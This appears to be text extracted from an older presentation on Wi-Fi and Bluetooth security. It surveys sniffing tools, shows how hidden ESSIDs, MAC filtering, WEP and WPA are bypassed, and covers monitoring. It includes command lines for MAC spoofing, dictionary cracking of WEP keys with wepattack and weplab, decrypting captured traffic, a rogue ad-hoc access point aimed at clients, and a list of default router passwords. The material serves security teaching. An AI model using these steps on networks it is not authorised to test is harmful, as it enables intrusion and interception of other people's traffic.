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Types of wireless networks Types of wireless networks 

● Infrared 

● Bluetooth 

● Mobile telephone 

(GSM/GPRS/TDMA/CDMA/Edge/EVDO/etc.) 

● Wi-Fi 



  Wi-Fi network characteristicsWi-Fi network characteristics

● Wi-Fi uses Industrial, Scentific&Medical (ISM) 

bands

902 928 MHz 

2.4  2.485 GHz  (2.4 a 2.5 GHz  in Brazil) 

5.150   5.825 GHz

● WiMax (802.16/a) uses licensed bands (10-66/2-10Ghz) 



Wi-Fi network characteristicsWi-Fi network characteristics

●   IEEE 802.11 

 Several standards already closed:

802.11b 22Mb 2.4Ghz

802.11a 54Mb 5.1GHz

802.11g 54Mb 2.4Ghz 

802.11i  - Security mechanisms 

802.1x – Authentication mechanisms are used in 

cable and wireless networks



Today’s standards Today’s standards 

 802.11b WEP 

 802.11a/g WEP/WPA (802.1x)

 802.11i WEP/WPA/RSN (AES,Ad-Hoc, etc)



Analysing tools  Analysing tools  



Analysing toolsAnalysing tools

● Kismet 

● Netstumbler 

● Airsnort 

● BSD Airtools 

● WepCrack 

● WepLab 

● WepTools 

● WepAttack 

● Tcpdump

● Ngrep 

● Ethereal  



Kismet Kismet 

● Support to 802.11a/b/g
● Integration to GPS
● Produces traffic file in PCAP format  
● Capable of generating maps (gpsmap)
● Detailed information: 

● Network name 
● Standard (a/b/g)
● WEP use
●  Connected clients (mac, signal level,etc)

● No break WEP 



KismetKismet



Kismet Kismet 



KismetKismet



KismetKismet



Netstumbler Netstumbler 

● Supports several plates 802.11a/b/g 
● GPS integration
● Detailed information of signal level, WEP use 

and connected users (MAC) 

● Only for Windows 
● Doesn’t capture traffic 
● No break WEP 



Netstumbler Netstumbler 



Airsnort Airsnort 

● Grafic interface
● File generation in PCAP format
● Permits file loading in PCAP format
● Support WEP key break (~100Mb-1Gb)
● GPS integration
● WEP use information
● Low number of plates (chipsets) supported
● No details with connected clients and signal 

levels



Airsnort Airsnort 



WepAttackWepAttack

●
 Attacks based in:

● Brute force 

● Dictionary 

● Reads files in PCAP format

● Permits integration with traditional password 

breakers, like John The Ripper



WepLab  WepLab  

●
 Attacks based in :
● Brute force 
●  Dictionary 
●  Vector initialization fragilness

● Reads files in PCAP format
● Breaks faster than other tools since there is no 

correct traffic standard 



EtherealEthereal

● Grafic tool (Unix/Windows)

● Reads and records in PCAP format

● Permit traffic filtering

● Permits several types of statistical generation

● Permits reassembling of traffic

● Doesn’t have resources for search patterns



EtherealEthereal



AttackAttack
 



Available protection methodsAvailable protection methods

● Disabling ESSID broadcast 
● Filtro de MAC 
● Disabling ESSID broadcast 
● Individual client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 



Disabling ESSID broadcastDisabling ESSID broadcast
 

  
  

    
 

23:05:16.386193 Beacon () [1.0 2.0 5.5 11.0 6.0 12.0 24.0 36.0 Mbit] 
ESS CH: 11 
23:05:16.488612 Beacon () [1.0 2.0 5.5 11.0 6.0 12.0 24.0 36.0 Mbit] 
ESS CH: 11 
23:05:17.321039 Beacon (Homenet54) [1.0 2.0 5.5 11.0 Mbit] ESS 
CH: 3 
23:05:17.629271 Beacon (Homenet54) [1.0 2.0 5.5 11.0 Mbit] ESS 
CH: 3 
23:05:17.802928 Probe Request (NETGEAR) [1.0 2.0 5.5 11.0 Mbit]
23:05:17.831746 Probe Request (NETGEAR) [1.0 2.0 5.5 11.0 Mbit]
23:05:17.873675 Probe Request (NETGEAR) [1.0 2.0 5.5 11.0 Mbit]
23:05:17.887420 Assoc Request (NETGEAR) [1.0 2.0 5.5 11.0 Mbit]



Disabling ESSID broadcastDisabling ESSID broadcast
 

There are still other moments where 

ESSID has traffic:

● Search for active concentrator

●  Answer to concentrator search

●  Concentrator reassociation



Available protection methodsAvailable protection methods

● Disable ESSID broadcast 
● MAC filter 
● Individual client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



MAC filterMAC filter
 



MAC filter MAC filter 
 



Filtro de MAC Filtro de MAC 
 

Linux

# ifconfig ath0 hw ether 00:00:00:00:00:01

FreeBSD 

# ifconfig xl3 ether 00:00:00:00:00:01

OpenBSD/NetBSD

# wiconfig  wi0 -m 00:00:00:00:00:01



MAC filterMAC filter
 



Available protection methodsAvailable protection methods

● Disable ESSID broadcast  
● MAC filter 
● Individual client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



Client traffic isolationClient traffic isolation
PSPF( Publicly Secure Packet Forwarding) ou Privacy Separator  

X



Client traffic isolationClient traffic isolation

ping -c 3 192.168.11.2
PING 192.168.11.2 (192.168.11.2) 56(84) bytes of data.
From 192.168.11.4 icmp_seq=1 Destination Host Unreachable
From 192.168.11.4 icmp_seq=2 Destination Host Unreachable
From 192.168.11.4 icmp_seq=3 Destination Host Unreachable
--- 192.168.11.2 ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 
2017ms

However, traffic continues to be possibly captured
22:44:37.605465 192.168.11.2.33010 > oscommerce.pulver.com.www: . ack 
27075 win 59684 <nop,nop,timestamp 907215 341459491> (DF)
22:44:37.609406 oscommerce.pulver.com.www > 192.168.11.2.33010: P 
27075:27120(45) ack 542 win 6492 <nop,nop,timestamp 341459495 907176> 
(DF)
22:44:37.613282 192.168.11.2.33010 > oscommerce.pulver.com.www: . ack 
27120 win 59684 <nop,nop,timestamp 907216 341459495> (DF)
22:44:38.260568 192.168.11.2.33010 > oscommerce.pulver.com.www: P 
542:996(454) ack 27120 win 59684 <nop,nop,timestamp 907280 341459495> 
(DF)



Available protection methodsAvailable protection methods

●Disable ESSID broadcast  
● MAC filter 
● Every client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



Airsnort Airsnort 



WepAttackWepAttack
 

# wepattack -w /usr/share/dic/dic1.txt -f Kismet-
Jun-29-1.dump

# bzcat wordlist.bz2 | wepattack -f Kismet-Jun-29-
2004-1.dump 

# john -incremental -stdout:13 | wepattack -f  
Kismet-Jun-29-2004-1.dump 



WepLab  WepLab  

 

weplab ­r Kismet­Jun­25­2004­1.dump Kismet­Jun­25­2004­1.dump 
weplab ­ Wep Key Cracker Wep Key Cracker (v0.0.7­beta).
Jose Ignacio Sanchez Martin ­ Topo[LB] <topolb@users.sourceforge.net>
Total valid packets read: 286
Total packets read: 1335
10 packets selected.
Packet 0 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 1 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 2 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 3 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 4 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 5 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 6 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 7 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 8 --> 78 total lenght, 50 data lenght (just encrypted data)
Packet 9 --> 92 total lenght, 64 data lenght (just encrypted data)
Opening packet file for loading all the IV
                                   
Total valid packets read: 256
Total packets read: 1335
Total unique IV read: 25
 25 Weak packets gathered:
Compressing IV table...



Decifering captured trafficDecifering captured traffic
 

Decrypt (included in airsnort package) 

# decrypt (-p <pw> | -f <dictfile>) [-b] [-o <offset>] -m <bssid> -e 

<infile> -d <outfile>

Examples:

# decrypt -p SMART  -m  AF:E8:E9:6C:11:81 -e wep.pcap -d 

nowep.pcap 

# decrypt -p 53:4D:41:52:54  -m  AF:E8:E9:6C:11:81 -e 

wep.pcap -d nowep.pcap 



Available protection methodsAvailable protection methods

● 

●Disable ESSID broadcast  
● MAC filter 
● Individual client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



802.1x802.1x
 

RADIUSAP

LDAP



802.1x + WEP802.1x + WEP
 



XSupplicantXSupplicant
 

      EAP-AKA
      EAP-GTC
      EAP-MD5 
      EAP-MSCHAPv2
      EAP-OTP
      EAP-SIM
      LEAP
      PEAP (MSCHAPv2)
      EAP-TLS
      EAP-TTLS (CHAP, MSCHAP, MSCHAPv2, PAP) 

Supported methods:



XSupplicantXSupplicant
 

[ALL] Got EAP­Request­Authentication.
[STATE] Processing AUTHENTICATING state.
[STATE] Sending EAPOL­Response­Authentication
[AUTH TYPE]      ­­­ SSL : SSLv3 read server hello A
[AUTH TYPE]      ­­­ SSL : SSLv3 read server certificate A
[ALL] Sending TLS ACK!
[...]
[ALL] Got EAP­Success!
Authenticated!
[ALL] Processing command : dhclient ­q %i
[ALL] Returning command : dhclient ­q ath0
[ALL] Actual command being called is dhclient
[ALL] Generating key block!
[ALL] Using session key const of : client EAP encryption
[STATE] (global) ­> AUTHENTICATED



XSupplicantXSupplicant
 

eap_tls {
     user_cert = /etc/ssl/certs/cert-clt.pem
     user_key  = /etc/ssl/certs/cert-clt.pem

     user_key_pass = <BEGIN_PASS>verysecret<END_PASS>

     root_cert = /etc/ssl/certs/root.pem
     root_dir = /etc/ssl/certs
      chunk_size = 1398
     random_file = /dev/urandom
}



Available protection methodsAvailable protection methods

● Desabilitar broadcast de ESSID  
● Filtro de MAC  
● Individual client traffic isolation
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



Attacks on WPAAttacks on WPA

  

● WPA – PSK ( Pre-shared Key)

● WPA Interprise 

● Attacks on concentrator

● Attacks on clients

 



WPA - PSKWPA - PSK

  



WPA - PSKWPA - PSK

  

# wpa_supplicant ­w ­i ath0 ­c /etc/wpa_supplicant.conf ­d 1
RX EAPOL from 00:09:5b:66:3d:0e
IEEE 802.1X RX: version=1 type=3 length=127
  EAPOL­Key type=254
  WPA: RX message 1 of Group Key Handshake from 00:09:5b:66:3d:0e 
(ver=1)
  WPA: Group Key ­ hexdump(len=32): a6 44 18 ea 08 88 f5 bc 1a 85 1a 
db ab a6 3b 61 aa b6 02 78 29 57 42 7e 1d a0 69 3a f6 25 40 08
  WPA: Installing GTK to the driver (keyidx=2 tx=0).
  WPA: RSC ­ hexdump(len=6): 00 00 00 00 00 00
  wpa_driver_madwifi_set_key: alg=TKIP key_idx=2 set_tx=0 seq_len=6 
key_len=32
  WPA: Sending EAPOL­Key 2/2
  WPA: Key negotiation completed with 00:09:5b:66:3d:0e



Attacks on WPA-PSKAttacks on WPA-PSK

  

static int wpa_config_parse_psk(struct wpa_ssid *ssid, int line,  const char *value)
{
        if (*value == '"') {
                char *pos;
                int len;
                value++;
                pos = strrchr(value, '"');
                if (pos)
                        *pos = '\0';
                len = strlen(value);
                if (len < 8 || len > 63) {
                        wpa_printf(MSG_ERROR, "Line %d: Invalid passphrase "
                                   "length %d (expected: 8..63) '%s'.",
                                   line, len, value);
                        return ­1;
                }
                wpa_hexdump_ascii(MSG_MSGDUMP, "PSK (ASCII passphrase)",
                                  value, len);
                ssid­>passphrase = strdup(value);
                return ssid­>passphrase == NULL ? ­1 : 0;
        }
[...]



Attacks on concentratorAttacks on concentrator

Manufacturer’s configurations

Manufactor Product Revision Protocol User Password  Access       Validated

D-Link Cable/DSL Routers/Switches Multi (none) admin    Admin              No

D-Link DI-614+     HTTP     user (none)    User               No

D-Link DI-614+         HTTP     admin (none)    Admin              No

D-Link DI-701 unknown     Multi     admin year2000 Admin           No

D-link DI-714P+         Multi     admin ____BLANK___ 192.168.0.1   No

D-Link DI-804 v2.03         Multi     admin (none) Admin               No

D-Link DWL 900AP         Multi     admin public Admin               Yes

  



Attacks on concentratorAttacks on concentrator

  Sensitive information in clear text

              

  



Attacks on concentrator Attacks on concentrator 
 



Attacks on clientsAttacks on clients
 



Attacks on clientsAttacks on clients
 

# iwconfig wlan0 essid hotel

# iwconfig wlan0 mode Ad-Hoc

# echo “[...] hardware ethernet 9A:16:05:71:32:AE 

[...]” > /etc/dhcpd.conf

# dhcpd wlan0  



Attacks on clientsAttacks on clients

Network 7: "santa marta" BSSID: "00:06:25:03:21:51"

    Type     : probe

    Carrier  : 802.11g

    Info     : "None"

    Channel  : 00

    WEP      : "No"

    Maxrate  : 11.0

# airsnarf 



Attacks on clientsAttacks on clients
 

# iwconfig ath0

ath0  IEEE 802.11  ESSID:"NETGEAR"  

      Mode:Managed  Frequency:2.462GHz  

      Access Point: 00:09:5B:66:3D:0E  

      Bit Rate:54Mb/s   Tx-Power:off   Sensitivity=0/3  

      Retry:off   RTS thr:off   Fragment thr:off

      Encryption key:4141-4141-41    Security mode:open

      Power Management:off

      Link Quality:46/94  Signal level:-49 dBm  

      Noise level:-95 dBm

      Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0

      Tx excessive retries:0  Invalid misc:0   Missed beacon:0



WPA_SupplicantWPA_Supplicant
 

EAP supported methods (IEEE 802.1X Supplicant):

EAP-TLS

EAP-PEAP/MSCHAPv2 ( PEAPv0 e PEAPv1)

EAP-PSK

EAP-PEAP/TLS (PEAPv0 e PEAPv1)

EAP-PEAP/GTC (PEAPv0 e PEAPv1)

EAP-PEAP/OTP (PEAPv0 e PEAPv1)

EAP-PEAP/MD5-Challenge (PEAPv0 e PEAPv1)

EAP-TTLS/EAP-MD5-Challenge

EAP-TTLS/EAP-GTC

EAP-TTLS/EAP-OTP

EAP-TTLS/EAP-MSCHAPv2

EAP-TTLS/EAP-TLS

EAP-TTLS/MSCHAPv2

EAP-TTLS/MSCHAP

EAP-TTLS/PAP

EAP-TTLS/CHAP

EAP-SIM

EAP-AKA

Supported WPA/IEEE 802.11i resources: 

WPA-PSK (”Personal-WPA")

WPA with EAP (p.e, com servidor RADIUS) ("WPA-Infrastructure")

Key management by CCMP, TKIP, WEP104, WEP40

WPA and full IEEE 802.11i/RSN/WPA2

RSN: PMKSA cache, pre-authentication



WPA EAP_TTLSWPA EAP_TTLS
 

login/passwd login/passwd

TLS TLS

Access Point

Access Point

Access Point

Access Point



WPA EAP_TTLSWPA EAP_TTLS
 

[...]
EAP­TTLS: received Phase 2: code=1 identifier=6 length=22
EAP­TTLS: Phase 2 EAP Request: type=4
EAP­TTLS: Phase 2 EAP packet
EAP­MD5: generating Challenge Response
EAP­TTLS: AVP encapsulate EAP Response ­ hexdump(len=22): 02 06 00 16
 04 10 fa 9b b5 84 1e 18 ff 0e 3e 49 9f c4 de ee ac 0a
EAP­TTLS: Encrypting Phase 2 data ­ hexdump(len=32): 00 00 00 4f 40 00 00 
1e 02 06 00 16 04 10 fa 9b b5 84 1e 18 ff 0e 3e 49 9f c4 de ee ac 0a 00 00
wpa_driver_madwifi_set_key: alg=TKIP key_idx=1 set_tx=0 seq_len=6 key
_len=32
WPA: Sending EAPOL-Key 2/2
WPA: Key negotiation completed with 00:09:5b:66:1e:3d
Cancelling authentication timeout
EAPOL: External notification - portValid=1
EAPOL: SUPP_PAE entering state AUTHENTICATED



WPA EAP_TTLSWPA EAP_TTLS
 $ cat /etc/wpa_supplicant.conf
network={
        ssid="MARINET"
        scan_ssid=1
        key_mgmt=WPA-EAP
        eap=TTLS
        anonymous_identity="anonimo"
        ca_cert="/etc/ssl/certs/root.pem"
        identity="nelson"

        password="OblesqBlom"
}

$ cat /usr/local/etc/raddb/users
[...]
“nelson” Auth­Type :=EAP, 
User­Password == ” OblesqBlom”
 



WPA - EAP_TLSWPA - EAP_TLS
 

$ wpa_supplicant ­c /etc/wpa_supplicant.conf ­i ath0 ­d 1
[...]
WPA: RX message 1 of Group Key Handshake from 00:09:5b:66:1e:3d (ver=1)
WPA: Group Key ­ hexdump(len=32): 7e 12 d0 4e ca c9 b2 c3 45 9f 43 13 c3 23 5e
bc 97 8c 66 6f 08 8f 61 52 e1 28 eb 00 da 53 d1 52
WPA: Installing GTK to the driver (keyidx=2 tx=0).
WPA: RSC ­ hexdump(len=6): 00 00 00 00 00 00
wpa_driver_madwifi_set_key: alg=TKIP key_idx=2 set_tx=0 seq_len=6 key_len=32
WPA: Sending EAPOL­Key 2/2
WPA: Key negotiation completed with 00:09:5b:66:1e:3d
Cancelling authentication timeout
EAPOL: External notification ­ portValid=1
EAPOL: SUPP_PAE entering state AUTHENTICATED



WPA EAP_TLSWPA EAP_TLS
 

network={
        ssid="MARINET"
        scan_ssid=1
        proto=WPA
        pairwise=CCMP TKIP
        group=CCMP TKIP
        key_mgmt=WPA-EAP
        eap=TLS
        identity="nelson"
        #ca_cert="/etc/ssl/certs/demoCA/cacert.pem"
        ca_cert="/etc/ssl/certs/root.pem"
        client_cert="/etc/ssl/certs/cert-clt.pem"
        private_key="/etc/ssl/certs/cert-clt.pem"
        priority=1

       private_key_passwd="5upers3crEt"
}

$ cat /etc/wpa_supplicant



 



Available protection methodsAvailable protection methods

● Desabilitar broadcast de ESSID  
● Filtro de MAC  
● Isolamento do tráfego de cada cliente
● WEP 
● 802.1x 
● WPA 
● WPA2/RSN 
● Monitoring



MonitoringMonitoring
 

  

“The optimist does not know what  awaits him.”

  -- Millor Fernandes, Brazilian writer-- Millor Fernandes, Brazilian writer



MonitoringMonitoring
 

 Generic Monitoring
● Logs, snort, prelude, etc 

 Specific Monitoring
● Access pointer resources. kismet, snortwireless, etc

Best of both worlds 
● kismet + snort  



Monitoring Monitoring 
Access PointerAccess Pointer

 



Monitoring - KismetMonitoring - Kismet

 

● Netstumbler, Wellenreiter, Airjack,  

● SSID same name switching channels 

● Associate and continue probe 

● Disassociation requests in broadcast 



Monitoring - KismetMonitoring - Kismet
 



Kismet + SnortKismet + Snort
 

$ grep fifo /etc/kismet.conf

fifo=/var/log/kismet.fifo    
For combined monitoring, in real time:

snort ­r /var/log/kismet.fifo   



Advanced mappingAdvanced mapping

● 

Network 6: "taz57kar" BSSID: "00:40:96:55:C8:4C"

    Type     : infrastructure

    Carrier  : 802.11b

    Info     : "AP350-ORGAO PUBLI^F"

    Channel  : 06

    WEP      : "Yes"

    Maxrate  : 11.0



ReferencesReferences
 

Useful Links  

http://www.google.com

http://www.yahoo.com

http://www.dmoz.org

http://www.ask.com  



BluetoothBluetooth
 

● Frequency 2.4GHz
● Point to point or network use (piconets 1+7)
● Range up to 250 meters 
● Bluetooth access point for connection with 

  IP networks (routing)



BluetoothBluetooth
 

# hcitool scan
scanning ...
00:10:60:A2:09:2C       Bluetooth Access Point Router



BluetoothBluetooth
 



Bluetooth - MonitoringBluetooth - Monitoring
 

 

 

# hcidump  ­a ­r   
HCIDump ­ HCI packet analyzer ver 1.10
HCI Event: Connect Request (0x04) plen 10
HCI Command: Accept Connection Request (0x01|0x0009) plen 7
HCI Event: Command Status (0x0f) plen 4
 HCI Event: Connect Complete (0x03) plen 11
[...]
 HCI Event: Remote Name Req Complete (0x07) plen 255
. ) . . W ` . N o k i a   6 6 0 0 . . .
ACL data: handle 0x0029 flags 0x02 dlen 82
L2CAP(d): cid 0x0041 len 78 [psm 3]
RFCOMM(d): UIH: cr 1 dlci 6 pf 1 ilen 73 fcs 0x93 credits 1
. . I . . ! . I . m . a . g . e . ( . 0
. 2 . 9 . ) . . . j . p . g . . . . . r
. B . . i m a g e / j p e g . D . . 2 0
0 4 0 3 0 6 T 1 5 4 0 4 2
ACL data: handle 0x0029 flags 0x01 dlen 164
L2CAP(d): cid 0x0041 len 672 [psm 3]
RFCOMM(d): UIH: cr 1 dlci 6 pf 1 ilen 666 fcs 0x93 credits 1
. . . H . . . . . . . . J F I F . . . .
. . . . . . . . . ( . . . 0 6 / 0 3 / 2
0 0 4 . 1 4 : 4 0 : 4 0 . M o d e = 1 .
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